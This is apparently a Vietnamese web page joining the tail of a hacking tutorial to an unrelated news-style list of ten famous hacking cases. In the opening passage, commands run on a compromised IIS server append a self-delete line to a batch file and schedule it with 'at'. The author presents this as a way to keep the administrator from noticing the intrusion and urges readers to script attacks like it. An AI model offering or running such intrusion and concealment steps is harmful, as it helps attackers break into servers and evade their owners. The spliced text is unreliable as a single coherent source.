C:\WINNT\system32>echo del sm.bat >>sm.bat ' xóa file sm.bat

C:\WINNT\system32>net time \\xxx.xxx.xxx.xxx ' lấy thời gian hiện tại của máy chủ
Current time at \\xxx.xxx.xxx.xxx is 3/25/2003 3:00 PM

The command completed successfully.

C:\WINNT\system32>at 15:05 sm.bat ' đặt lịch sau 5 phút nữa sẽ làm việc
at 15:05 sm.bat
Added a new job with job ID = 1

C:\WINNT\system32>exit ' đóng kết nối
sent 207, rcvd 746
Như vậy mọi hành động của bạn thực hiện trên máy chủ IIS sẽ không bị ADMIN phát hiện. Hì hì. Nếu như các bạn để máy chủ tình trạng ngưng hoạt động chờ sự khởi động của ADMIN có thể dẫn đến ADMIN nghi ngờ có sự xâm nhập từ bên ngoài. Do vậy mình khuyên các bạn viết kịch bản khai thác như trên. Bạn nào nghĩ ra kịch bản hay hơn thì có thể gửi lên để mọi người cùng thảo luận !

Bản sửa lỗi này tại
http://microsoft.com/downloads/details.asp

Sáu dòng mã lệnh cũng đủ thổi bay 10 triệu USD của một doanh nghiệp. 99 dòng lệnh khác thiết lập nên virus Internet (worm) đầu tiên. Mạng điện thoại của cả thành phố bị khống chế chỉ vì một hacker muốn có chiếc xe hơi thời trang... Những hệ thống được coi là bảo mật tốt nhất đã bị xuyên thủng.

1. Đầu những năm 90 thế kỷ trước, hacker huyền thoại Kevin Mitnick liên tiếp xâm nhập vào hệ thống máy tính của một loạt hãng viễn thông và công nghệ nổi tiếng thế giới như Nokia, Fujitsu, Motorola và Sun Microsystems. Nhân vật này bị Cục điều tra liên bang Mỹ FBI bắt giữ năm 1995 và được trả tự do năm 2000. Mitnick không bao giờ gọi hành động của mình là hack mà gọi là "social engineering" - dùng thủ các thủ đoạn lừa gạt người sử dụng để có được thông tin đăng nhập hoặc khai thác hệ thống.

2. Tháng 11/2002, hacker người Anh Gary McKinnon sa lưới sau khi chui vào hơn 90 hệ thống máy tính của quân đội Mỹ tại Anh. Nhân vật này sau đó bị dẫn độ sang Mỹ xử án.

3. Năm 1995, tay chơi máy tính người Nga Vladimir Levin khoét thủng mạng thông tin Citibank để cuỗm đi 10 triệu USD và trở thành hacker đầu tiên xâm nhập vào hệ thống máy tính ngân hàng ăn cắp tiền. Cảnh sát quốc tế Interpol tóm được anh chàng này tại Anh năm 1995 sau khi phát hiện Levin chuyển tiền vào nhiều tài khoản ở Mỹ, Phần Lan, Hà Lan, Đức và Israel.

K.Poulsen. Ảnh: Discovery
4. Năm 1983, Kevin Poulsen, một sinh viên Mỹ, đã xâm nhập thành công vào mạng Arpanet, tiền thân của Internet ngày nay. Poulsen đã lợi dụng một lỗ hổng trong kiến trúc của hệ thống thông tin toàn cầu "đời đầu" này để giành quyền kiểm soát tạm thời toàn bộ mạng máy tính cả nước Mỹ.

5. Năm 1990, đài phát thanh địa phương ở Los Angeles (Mỹ) công bố một cuộc thi với phần thưởng là chiếc xe hơi sành điệu Porsche 944S2 dành cho người thứ 102 gọi điện đến chương trình. Và lại là hacker Kevin Poulsen chiếm được quyền kiểm soát toàn bộ mạng điện thoại của thành phố này để đảm bảo anh ta là người có số thứ tự đó, và cuối cùng đoạt được phần thưởng ô tô sang trọng nói trên. Poulsen bị bắt một năm sau đó và chịu án 3 năm tù. Nhân vật này hiện là biên tập viên uy tín của tờ báo công nghệ Wired News (Mỹ).

6. Năm 1996, hacker Timothy Lloyd (Mỹ) "cấy" 6 dòng mã lệnh vào mạng máy tính của hãng Omega Engineering, vốn là nhà cung cấp linh kiện lớn nhất cho Cơ quan hàng không vũ trụ NASA và Hải quân Mỹ. Mã "độc" nói trên cho phép một "trái bom logic" phát nổ và xóa hết các phần mềm đang kiểm soát hoạt động sản xuất của Omega, khiến công ty này thiệt hại 10 triệu USD.

7. Năm 1988, Robert Morris, một sinh viên 23 tuổi ở Đại học Cornell University (Mỹ), tung ra loại sâu mạng đầu tiên. Ban đầu, anh ta phát tán 99 dòng lệnh lên Internet để thử nghiệm và nhanh chóng nhận ra chương trình của mình có sức lan tỏa rất nhanh trên các máy tính. Rất nhiều PC trên khắp nước Mỹ và nơi khác đã bị hỏng. Morris bị bắt năm 1990.

8. Năm 1999, virus Melissa là phần mềm tấn công đầu tiên có thể gây thiệt hại quy mô lớn. Do "tác giả" David Smith 30 tuổi thực hiện, Melissa lây lan vào hệ thống máy tính của hơn 300 doanh nghiệp trên thế giới và phá hủy hoàn toàn mạng PC ở những nơi này. Thiệt hại ghi nhận sau vụ việc lên tới 400 triệu USD. Smith đã bị bắt và chịu án tù 20 tháng kèm 5.000 USD tiền phạt.

9. Năm 2000, một nhân vật mà cảnh sát không công bố danh tính ngoài biệt hiệu MafiaBoy đã hack vào một loạt website lớn trên thế giới, trong đó có eBay, Amazon và Yahoo trong khoảng thời gian từ 6/2 đến ngày Valentine 14/2 năm đó. Hacker này giành được quyền kiểm soát 75 máy tính trong 52 mạng khác nhau, sau đó ra lệnh tấn công từ chối dịch vụ vào các hệ thống này. MafiaBoy bị bắt ngay trong năm gây án.

10. Năm 1993, một nhóm tự xưng là "Những bậc thầy lừa gạt" đã xâm nhập vào hệ thống tin học của một loạt tổ chức tại Mỹ như Cục an ninh quốc gia, hãng viễn thông AT&T, ngân hàng Bank of America. Sau khi hack thành công, bọn họ thiết lập một hệ thống "tầm gửi" cho phép gọi điện thoại đường dài quốc tế thoải mái và có thể sử dụng "chùa" nhiều kênh liên lạc thuê bao cá nhân.